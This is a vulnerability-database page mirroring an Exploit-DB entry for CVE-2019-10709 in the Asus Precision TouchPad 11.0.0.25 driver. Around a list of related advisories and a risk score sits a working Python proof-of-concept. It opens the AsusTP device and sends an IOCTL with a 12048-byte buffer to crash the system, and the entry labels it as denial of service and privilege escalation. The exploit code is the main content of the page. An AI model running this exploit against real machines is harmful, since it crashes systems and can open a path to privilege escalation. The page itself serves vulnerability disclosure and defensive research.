Lucene search
K

Asus Precision TouchPad 11.0.0.25 - Denial of Service

🗓️ 30 Aug 2019 00:00:00Reported by Athanasios TserpelisType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 231 Views

Asus Precision TouchPad 11.0.0.25 Denial of Service exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Asus Precision TouchPad 11.0.0.25 - Denial of Service Exploit
30 Aug 201900:00
zdt
CNVD
ASUS Asus Precision TouchPad Privilege Permission and Access Control Issues Vulnerability
2 Sep 201900:00
cnvd
CVE
CVE-2019-10709
4 Sep 201911:14
cve
Cvelist
CVE-2019-10709
4 Sep 201911:14
cvelist
EUVD
EUVD-2019-2503
7 Oct 202500:30
euvd
exploitpack
Asus Precision TouchPad 11.0.0.25 - Denial of Service
30 Aug 201900:00
exploitpack
NVD
CVE-2019-10709
4 Sep 201912:15
nvd
Packet Storm
Asus Precision TouchPad 11.0.0.25 Denial Of Service / Privilege Escalation
30 Aug 201900:00
packetstorm
Prion
Design/Logic Flaw
4 Sep 201912:15
prion
RedhatCVE
CVE-2019-10709
22 May 202510:25
redhatcve
Rows per page
#!/usr/bin/python
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc
# Date: 29-08-2019
# Exploit Author: Athanasios Tserpelis of Telspace Systems
# Vendor Homepage: https://www.asus.com
# Version: 11.0.0.25
# Software Link : https://www.asus.com
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows 10 RS5 x64
# CVE: CVE-2019-10709

from ctypes import * 
kernel32 = windll.kernel32 
ntdll = windll.ntdll 
NULL = 0 
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None) 
if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0) 

buf = "A"*12048 
raw_input("Press Enter to Trigger Vuln") 
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Aug 2019 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 27.5
CVSS 39.8
EPSS0.0969
231